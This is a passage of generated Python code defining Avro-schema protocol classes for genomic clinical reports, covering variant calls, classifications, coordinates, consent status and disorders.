"record", "name": "VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null", {"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign", "likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""}, {"name": "drugResponseClassification", "type": ["null", "DrugResponseClassification"], "doc": ""}, {"name": "traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation", "symbols": ["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele", "protective"]}], "doc": ""}, {"name": "tumorigenesisClassification", "type": ["null", {"type": "enum", "name": "TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}], "doc": ""}, {"name": "functionalEffect", "type": ["null", {"type": "enum", "name": "VariantFunctionalEffect", "symbols": ["dominant_negative_variant", "gain_of_function_variant", "lethal_variant", "loss_of_function_variant", "loss_of_heterozygosity", "null_variant"]}], "doc": ""}]}], "doc": ""}, {"name": "guidelineBasedVariantClassification", "type": ["null", {"type": "record", "name": "GuidelineBasedVariantClassification", "doc": "", "fields": [{"name": "acmgVariantClassification", "type": ["null", {"type": "record", "name": "AcmgVariantClassification", "doc": "", "fields": [{"name": "acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AcmgEvidenceCategory", "doc": "", "symbols": ["population_data", "computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data", "allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type": "enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""}, {"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols": ["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name": "modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}}, {"name": "clinicalSignificance", "type": "ClinicalSignificance"}, {"name": "assessment", "type": ["null", "string"]}]}]}, {"name": "ampVariantClassification", "type": ["null", {"type": "record", "name": "AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type", "therapies", "variant_frequencies", "potential_germline", "population_database_presence", "germline_database_presence", "somatic_database_presence", "impact_predictive_software", "pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type": "string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier", "doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name": "ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols": ["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB", "levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}], "doc": ""}, {"name": "algorithmBasedVariantClassifications", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AlgorithmBasedVariantClassification", "fields": [{"name": "algorithmName", "type": "string", "doc": ""}, {"name": "classification", "type": "string", "doc": ""}, {"name": "rank", "type": ["null", "int"], "doc": ""}, {"name": "score", "type": ["null", "int"], "doc": ""}]}}], "doc": ""}, {"name": "tier", "type": ["null", {"type": "enum", "name": "Tier", "doc": "", "symbols": ["NONE", "TIER1", "TIER2", "TIER3", "TIER4", "TIER5", "TIERA", "TIERB"]}], "doc": ""}, {"name": "domain", "type": ["null", {"type": "enum", "name": "Domain", "symbols": ["DOMAIN1", "DOMAIN2", "DOMAIN3", "DOMAIN4", "NONE"]}], "doc": ""}]}}}, {"name": "variantCalls", "type": {"type": "array", "items": {"type": "record", "name": "VariantCall", "doc": "", "fields": [{"name": "participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type": "string", "doc": ""}, {"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "", "symbols": ["reference_homozygous", "heterozygous", "alternate_homozygous", "missing", "half_missing_reference", "half_missing_alternate", "alternate_hemizigous", "reference_hemizigous", "unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name": "PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}}, {"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type": ["null", "double"], "doc": ""}, {"name": "depthReference", "type": ["null", "int"], "doc": ""}, {"name": "depthAlternate", "type": ["null", "int"], "doc": ""}, {"name": "numberOfCopies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "NumberOfCopies", "fields": [{"name": "numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null", "int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant", "paternal_variant", "pedigree_specific_variant", "population_specific_variant", "somatic_variant"]}}], "doc": ""}, {"name": "supportingReadTypes", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "SupportingReadType", "symbols": ["spanning", "flanking", "inrepeat"]}}]}]}}, "doc": ""}, {"name": "variantAttributes", "type": ["null", {"type": "record", "name": "VariantAttributes", "doc": "", "fields": [{"name": "genomicChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "cdnaChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "proteinChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "additionalTextualVariantAnnotations", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "references", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "variantIdentifiers", "type": ["null", {"type": "record", "name": "VariantIdentifiers", "fields": [{"name": "dbSnpId", "type": ["null", "string"], "doc": ""}, {"name": "cosmicIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "clinVarIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": "Identifier"}]}]}]}, {"name": "alleleFrequencies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AlleleFrequency", "doc": "", "fields": [{"name": "study", "type": "string", "doc": ""}, {"name": "population", "type": "string", "doc": ""}, {"name": "alternateFrequency", "type": "float", "doc": ""}]}}], "doc": ""}, {"name": "additionalNumericVariantAnnotations", "type": ["null", {"type": "map", "values": "float"}], "doc": ""}, {"name": "comments", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array", "items": "AlleleOrigin"}], "doc": ""}, {"name": "ihp", "type": ["null", "int"], "doc": ""}, {"name": "recurrentlyReported", "type": ["null", "boolean"], "doc": ""}, {"name": "fdp50", "type": ["null", "float"], "doc": ""}, {"name": "others", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]}]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "breakPoints", "rearrangements", "reportEvents", "variantAttributes", "variantCalls", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'breakPoints': BreakPoint, 'rearrangements': Rearrangement, 'reportEvents': ReportEvent, 'variantAttributes': VariantAttributes, 'variantCalls': VariantCall, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'breakPoints': BreakPoint, 'rearrangements': Rearrangement, 'reportEvents': ReportEvent, 'variantAttributes': VariantAttributes, 'variantCalls': VariantCall, } return embeddedTypes[fieldName] __slots__ = [ 'breakPoints', 'rearrangements', 'reportEvents', 'variantAttributes', 'variantCalls' ] def __init__(self, **kwargs): self.breakPoints = kwargs.get( 'breakPoints', None) self.rearrangements = kwargs.get( 'rearrangements', None) self.reportEvents = kwargs.get( 'reportEvents', None) self.variantAttributes = kwargs.get( 'variantAttributes', None) self.variantCalls = kwargs.get( 'variantCalls', None) class ClinicalReport(ProtocolElement): """ A clinical report. This holds the list of reported variants by an expert together with all the relevant information that identify the case and how these conclusions were reached. """ _schemaSource = """ {"type": "record", "name": "ClinicalReport", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "interpretationRequestId", "type": "string", "doc": ""}, {"name": "interpretationRequestVersion", "type": "int", "doc": ""}, {"name": "reportingDate", "type": "string", "doc": ""}, {"name": "user", "type": "string", "doc": ""}, {"name": "variants", "type": ["null", {"type": "array", "items": {"type": "record", "name": "SmallVariant", "doc": "", "fields": [{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}, "doc": ""}, {"name": "variantCalls", "type": {"type": "array", "items": {"type": "record", "name": "VariantCall", "doc": "", "fields": [{"name": "participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type": "string", "doc": ""}, {"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "", "symbols": ["reference_homozygous", "heterozygous", "alternate_homozygous", "missing", "half_missing_reference", "half_missing_alternate", "alternate_hemizigous", "reference_hemizigous", "unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name": "PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}}, {"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type": ["null", "double"], "doc": ""}, {"name": "depthReference", "type": ["null", "int"], "doc": ""}, {"name": "depthAlternate", "type": ["null", "int"], "doc": ""}, {"name": "numberOfCopies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "NumberOfCopies", "fields": [{"name": "numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null", "int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant", "paternal_variant", "pedigree_specific_variant", "population_specific_variant", "somatic_variant"]}}], "doc": ""}, {"name": "supportingReadTypes", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "SupportingReadType", "symbols": ["spanning", "flanking", "inrepeat"]}}]}]}}, "doc": ""}, {"name": "reportEvents", "type": {"type": "array", "items": {"type": "record", "name": "ReportEvent", "doc": "", "fields": [{"name": "reportEventId", "type": "string", "doc": ""}, {"name": "phenotypes", "type": {"type": "record", "name": "Phenotypes", "doc": "", "fields": [{"name": "nonStandardPhenotype", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "standardPhenotypes", "type": ["null", {"type": "array", "items": {"type": "record", "name": "StandardPhenotype", "doc": "", "fields": [{"name": "id", "type": "string"}, {"name": "name", "type": ["null", "string"]}, {"name": "namespace", "type": ["null", "string"]}, {"name": "definition", "type": ["null", "string"]}, {"name": "comment", "type": ["null", "string"]}, {"name": "alternativeIds", "type": ["null", "string"]}, {"name": "synonyms", "type": ["null", "string"]}, {"name": "isA", "type": ["null", "string"]}, {"name": "ontology", "type": {"type": "record", "name": "Ontology", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name": "version", "type": "string"}]}, "doc": ""}, {"name": "matchScore", "type": ["null", "float"], "doc": ""}]}}], "doc": ""}]}, "doc": ""}, {"name": "variantConsequences", "type": {"type": "array", "items": {"type": "record", "name": "VariantConsequence", "doc": "", "fields": [{"name": "id", "type": "string", "doc": ""}, {"name": "name", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "genePanel", "type": ["null", {"type": "record", "name": "GenePanel", "doc": "", "fields": [{"name": "panelIdentifier", "type": ["null", "string"], "doc": ""}, {"name": "panelName", "type": ["null", "string"], "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}]}], "doc": ""}, {"name": "modeOfInheritance", "type": {"type": "enum", "name": "ModeOfInheritance", "doc": "", "symbols": ["monoallelic", "monoallelic_not_imprinted", "monoallelic_maternally_imprinted", "monoallelic_paternally_imprinted", "biallelic", "monoallelic_and_biallelic", "monoallelic_and_more_severe_biallelic", "xlinked_biallelic", "xlinked_monoallelic", "mitochondrial", "unknown", "na"]}, "doc": ""}, {"name": "genomicEntities", "type": {"type": "array", "items": {"type": "record", "name": "GenomicEntity", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "GenomicEntityType", "doc": "", "symbols": ["regulatory_region", "gene", "transcript", "intergenic", "gene_fusion", "genomic_region", "cytobands"]}, "doc": ""}, {"name": "ensemblId", "type": ["null", "string"], "doc": ""}, {"name": "geneSymbol", "type": ["null", "string"], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Identifier", "fields": [{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string", "doc": ""}]}}], "doc": ""}]}}, "doc": ""}, {"name": "segregationPattern", "type": ["null", {"type": "enum", "name": "SegregationPattern", "symbols": ["UniparentalIsodisomy", "SimpleRecessive", "CompoundHeterozygous", "deNovo", "InheritedAutosomalDominant", "InheritedAutosomalDominantMaternallyImprinted", "InheritedAutosomalDominantPaternallyImprinted", "XLinkedCompoundHeterozygous", "XLinkedSimpleRecessive", "XLinkedMonoallelic", "MitochondrialGenome"]}], "doc": ""}, {"name": "penetrance", "type": ["null", {"type": "enum", "name": "Penetrance", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["complete", "incomplete"]}], "doc": ""}, {"name": "deNovoQualityScore", "type": ["null", "float"], "doc": ""}, {"name": "fullyExplainsPhenotype", "type": ["null", "boolean"], "doc": ""}, {"name": "groupOfVariants", "type": ["null", "int"], "doc": ""}, {"name": "eventJustification", "type": ["null", "string"], "doc": ""}, {"name": "roleInCancer", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "RoleInCancer", "doc": "", "symbols": ["oncogene", "tumor_suppressor_gene", "both"]}}], "doc": ""}, {"name": "actions", "type": ["null", {"type": "record", "name": "Actions", "doc": "", "fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name": "studyIdentifier", "type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"], "doc": ""}, {"name": "estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name": "title", "type": ["null", "string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum", "name": "StudyPhase", "doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2", "phase2", "phase2_phase3", "phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Intervention", "doc": "", "fields": [{"name": "interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "", "symbols": ["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic", "dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name": "interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type": ["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment", "prevention", "diagnostic", "supportive_care", "screening", "health_services_research", "basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type": ["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional", "observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name": "demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name": "DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields": [{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit", "type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days", "hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type": "array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type": ["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type": ["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Prognosis", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type": "enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis", "unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", 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["altered_sensitivity", "reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance", "reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity", "adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose", "reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy", "altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null", {"type": "array", "items": "Intervention"}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}]}], "doc": ""}, {"name": "score", "type": ["null", "float"], "doc": ""}, {"name": "vendorSpecificScores", "type": ["null", {"type": "map", "values": "float"}], "doc": ""}, {"name": "variantClassification", "type": ["null", {"type": "record", "name": "VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null", {"type": "enum", "name": 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"array", "items": {"type": "record", "name": "UniparentalDisomyFragment", "fields": [{"name": "coordinates", "type": ["null", "Coordinates"], "doc": ""}, {"name": "uniparentalDisomyType", "type": {"type": "enum", "name": "UniparentalDisomyType", "symbols": ["isodisomy", "heterodisomy", "both"]}, "doc": ""}]}}], "doc": ""}, {"name": "participantId", "type": "string", "doc": ""}, {"name": "uniparentalDisomyEvidences", "type": ["null", {"type": "record", "name": "UniparentalDisomyEvidences", "fields": [{"name": "ibds", "type": ["null", {"type": "array", "items": {"type": "record", "name": "IdentityByDescent", "fields": [{"name": "relatedSample", "type": "string"}, {"name": "ibd0", "type": "float"}, {"name": "ibd1", "type": "float"}, {"name": "ibd2", "type": "float"}, {"name": "pihat", "type": "float"}]}}]}]}], "doc": ""}]}}], "doc": ""}, {"name": "karyotypes", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Karyotype", "fields": [{"name": "iscn", "type": ["null", "string"], "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "aneuploidies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Aneuploidy", "fields": [{"name": "iscn", "type": ["null", "string"], "doc": ""}, {"name": "assembly", "type": "Assembly", "doc": ""}, {"name": "chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": "boolean", "doc": ""}, {"name": "coordinates", "type": ["null", "Coordinates"], "doc": ""}, {"name": "numberOfCopies", "type": "int", "doc": ""}]}}], "doc": ""}, {"name": "numberOfChromosomes", "type": "int", "doc": ""}, {"name": "personKaryotipicSex", "type": {"type": "enum", "name": "PersonKaryotipicSex", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO", "XXY", "XXX", "XXYY", "XXXY", "XXXX", "XYY", "OTHER"]}, "doc": ""}, {"name": "participantId", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "genomicInterpretation", "type": "string", "doc": ""}, {"name": "additionalAnalysisPanels", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AdditionalAnalysisPanel", "doc": "", "fields": [{"name": "specificDisease", "type": "string"}, {"name": "panel", "type": "GenePanel"}]}}], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "referenceDatabasesVersions", "type": {"type": "map", "values": "string"}, "doc": ""}, {"name": "softwareVersions", "type": {"type": "map", "values": "string"}, "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "additionalAnalysisPanels", "chromosomalRearrangements", "genomicInterpretation", "interpretationRequestId", "interpretationRequestVersion", "karyotypes", "referenceDatabasesVersions", "references", "reportingDate", "shortTandemRepeats", "softwareVersions", "structuralVariants", "uniparentalDisomies", "user", "variants", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'additionalAnalysisPanels': AdditionalAnalysisPanel, 'chromosomalRearrangements': ChromosomalRearrangement, 'karyotypes': Karyotype, 'shortTandemRepeats': ShortTandemRepeat, 'structuralVariants': StructuralVariant, 'uniparentalDisomies': UniparentalDisomy, 'variants': SmallVariant, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'additionalAnalysisPanels': AdditionalAnalysisPanel, 'chromosomalRearrangements': ChromosomalRearrangement, 'karyotypes': Karyotype, 'shortTandemRepeats': ShortTandemRepeat, 'structuralVariants': StructuralVariant, 'uniparentalDisomies': UniparentalDisomy, 'variants': SmallVariant, } return embeddedTypes[fieldName] __slots__ = [ 'additionalAnalysisPanels', 'chromosomalRearrangements', 'genomicInterpretation', 'interpretationRequestId', 'interpretationRequestVersion', 'karyotypes', 'referenceDatabasesVersions', 'references', 'reportingDate', 'shortTandemRepeats', 'softwareVersions', 'structuralVariants', 'uniparentalDisomies', 'user', 'variants' ] def __init__(self, **kwargs): self.additionalAnalysisPanels = kwargs.get( 'additionalAnalysisPanels', None) self.chromosomalRearrangements = kwargs.get( 'chromosomalRearrangements', None) self.genomicInterpretation = kwargs.get( 'genomicInterpretation', None) self.interpretationRequestId = kwargs.get( 'interpretationRequestId', None) self.interpretationRequestVersion = kwargs.get( 'interpretationRequestVersion', None) self.karyotypes = kwargs.get( 'karyotypes', None) self.referenceDatabasesVersions = kwargs.get( 'referenceDatabasesVersions', None) self.references = kwargs.get( 'references', None) self.reportingDate = kwargs.get( 'reportingDate', None) self.shortTandemRepeats = kwargs.get( 'shortTandemRepeats', None) self.softwareVersions = kwargs.get( 'softwareVersions', None) self.structuralVariants = kwargs.get( 'structuralVariants', None) self.uniparentalDisomies = kwargs.get( 'uniparentalDisomies', None) self.user = kwargs.get( 'user', None) self.variants = kwargs.get( 'variants', None) class ClinicalSignificance(object): """ No documentation """ benign = "benign" likely_benign = "likely_benign" likely_pathogenic = "likely_pathogenic" pathogenic = "pathogenic" uncertain_significance = "uncertain_significance" def __hash__(self): return str(self).__hash__() class ClinicalUtility(object): """ No documentation """ none = "none" change_in_medication = "change_in_medication" surgical_option = "surgical_option" additional_surveillance_for_proband_or_relatives = "additional_surveillance_for_proband_or_relatives" clinical_trial_eligibility = "clinical_trial_eligibility" informs_reproductive_choice = "informs_reproductive_choice" unknown = "unknown" other = "other" def __hash__(self): return str(self).__hash__() class ConfidenceInterval(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "ConfidenceInterval", "namespace": "org.gel.models.report.avro", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type": "int"}]} """ schema = avro_parse(_schemaSource) requiredFields = { "left", "right", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'left', 'right' ] def __init__(self, **kwargs): self.left = kwargs.get( 'left', None) self.right = kwargs.get( 'right', None) class ConfirmationDecision(object): """ No documentation """ yes = "yes" no = "no" na = "na" def __hash__(self): return str(self).__hash__() class ConfirmationOutcome(object): """ No documentation """ yes = "yes" no = "no" na = "na" def __hash__(self): return str(self).__hash__() class ConsentStatus(ProtocolElement): """ Consent Status """ _schemaSource = """ {"type": "record", "name": "ConsentStatus", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "programmeConsent", "type": "boolean", "doc": "", "default": false}, {"name": "primaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "secondaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "carrierStatusConsent", "type": "boolean", "doc": "", "default": false}]} """ schema = avro_parse(_schemaSource) requiredFields = {} @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'carrierStatusConsent', 'primaryFindingConsent', 'programmeConsent', 'secondaryFindingConsent' ] def __init__(self, **kwargs): self.carrierStatusConsent = kwargs.get( 'carrierStatusConsent', False) self.primaryFindingConsent = kwargs.get( 'primaryFindingConsent', False) self.programmeConsent = kwargs.get( 'programmeConsent', False) self.secondaryFindingConsent = kwargs.get( 'secondaryFindingConsent', False) class Coordinates(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "Coordinates", "namespace": "org.gel.models.report.avro", "fields": [{"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "assembly", "chromosome", "ciEnd", "ciStart", "end", "start", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'ciEnd': ConfidenceInterval, 'ciStart': ConfidenceInterval, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'ciEnd': ConfidenceInterval, 'ciStart': ConfidenceInterval, } return embeddedTypes[fieldName] __slots__ = [ 'assembly', 'chromosome', 'ciEnd', 'ciStart', 'end', 'start' ] def __init__(self, **kwargs): self.assembly = kwargs.get( 'assembly', None) self.chromosome = kwargs.get( 'chromosome', None) self.ciEnd = kwargs.get( 'ciEnd', None) self.ciStart = kwargs.get( 'ciStart', None) self.end = kwargs.get( 'end', None) self.start = kwargs.get( 'start', None) class DemographicElegibilityCriteria(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "DemographicElegibilityCriteria", "namespace": "org.gel.models.report.avro", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields": [{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit", "type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days", "hours", "minutes", "na"]}}]}]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "ageRange", "sex", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'ageRange': AgeRange, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'ageRange': AgeRange, } return embeddedTypes[fieldName] __slots__ = [ 'ageRange', 'sex' ] def __init__(self, **kwargs): self.ageRange = kwargs.get( 'ageRange', None) self.sex = kwargs.get( 'sex', None) class DiseasePenetrance(ProtocolElement): """ A disease penetrance definition """ _schemaSource = """ {"type": "record", "name": "DiseasePenetrance", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "specificDisease", "type": "string", "doc": ""}, {"name": "penetrance", "type": {"type": "enum", "name": "Penetrance", "doc": "", "symbols": ["complete", "incomplete"]}, "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "penetrance", "specificDisease", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'penetrance', 'specificDisease' ] def __init__(self, **kwargs): self.penetrance = kwargs.get( 'penetrance', None) self.specificDisease = kwargs.get( 'specificDisease', None) class Disorder(ProtocolElement): """ This is quite GEL specific. This is the way is stored in ModelCatalogue and PanelApp. Currently all specific disease titles are assigned to a disease subgroup so really only specificDisease needs to be completed but we add the others for generality """ _schemaSource = """ {"type": "record", "name": "Disorder", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "diseaseGroup", "type": ["null", "string"], "doc": ""}, {"name": "diseaseSubGroup", "type": ["null", "string"], "doc": ""}, {"name": "specificDisease", "type": ["null", "string"], "doc": ""}, {"name": "ageOfOnset", "type": ["null", "float"], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "ageOfOnset", "diseaseGroup", "diseaseSubGroup", "specificDisease", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'ageOfOnset', 'diseaseGroup', 